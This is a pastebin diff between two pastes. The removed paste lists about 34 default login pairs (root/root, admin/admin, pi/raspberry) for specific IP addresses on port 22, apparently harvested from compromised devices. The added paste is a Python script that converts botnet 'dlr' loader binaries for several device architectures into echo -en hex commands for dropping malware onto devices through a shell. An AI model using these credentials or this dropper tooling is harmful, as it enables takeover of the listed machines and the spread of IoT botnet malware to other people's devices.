View difference between Paste ID: eC4YAD0W and RgK1HHW4
SHOW: | | - or go back to the newest paste.
1-
root<root>182.52.189.114|22
1+
#!/usr/bin/python
2-
root<root>125.25.13.139|22
2+
# -*- coding: utf-8
3-
root<root>118.173.128.61|22
3+
4-
root<root>118.173.135.135|22
4+
import sys, sys, os, re, binascii
5-
root<root>182.52.189.114|22
5+
6-
root<root>125.27.197.197|22
6+
binarys = [
7-
root<root>118.173.134.56|22
7+
	"dlr.arm:arm.hex", 		#arm
8-
admin<admin>125.24.169.127|22
8+
	"dlr.arm7:arm7.hex", 	#arm7
9-
root<root>113.53.103.216|22
9+
	"dlr.m68k:m68k.hex", 	#m68k
10-
root<root>125.27.196.187|22
10+
	"dlr.mips:mips.hex", 	#mips
11-
root<root>118.173.132.146|22
11+
	"dlr.mpsl:mpsl.hex", 	#mpsl
12-
root<root>118.173.134.118|22
12+
	"dlr.ppc:ppc.hex", 		#ppc
13-
root<admin>125.26.131.38|22
13+
	"dlr.sh4:sh4.hex", 		#sh4
14-
root<root>101.108.126.253|22
14+
	"dlr.spc:spc.hex", 		#spc
15-
root<root>125.24.103.205|22
15+
	"dlr.x86:x86.hex" 		#x86
16-
root<root>113.53.140.19|22
16+
	]
17-
admin<admin>113.53.235.91|22
17+
18-
root<root>125.25.15.181|22
18+
def insert_slashx(string, every=2):
19-
root<root>125.25.1.55|22
19+
    return '\\x'.join(string[i:i+every] for i in xrange(0, len(string), every))
20-
root<root>118.173.132.146|22
20+
21-
root<root>118.173.134.198|22
21+
def splitCount(s, count):
22-
root<root>125.27.198.68|22
22+
     return [''.join(x) for x in zip(*[list(s[z::count]) for z in range(count)])]
23-
root<root>118.173.134.56|22
23+
24-
root<root>113.53.140.19|22
24+
for bin in binarys:
25-
root<root>125.25.1.55|22
25+
	try:
26-
root<root>125.27.197.78|22
26+
		Input = bin.split(":")[0]
27-
root<root>125.26.215.193|22
27+
		Output = bin.split(":")[1]
28-
pi<raspberry>113.53.205.174|22
28+
		hexify = '\\x'+insert_slashx(binascii.hexlify(open(Input).read()))
29-
root<root>118.173.134.198|22
29+
		echoify = "echo -en \'"+'\' >>lno\necho -en \''.join(splitCount(hexify,(64*2))) + '\' >>.bot'
30-
root<root>125.25.12.80|22
30+
		f = open(Output, "w")
31-
root<root>101.108.100.246|22
31+
		f.write(echoify)
32-
root<root>101.108.109.237|22
32+
		f.close()
33-
root<root>125.27.205.67|22
33+
	except:
34-
root<root>125.26.215.193|22
34+
		pass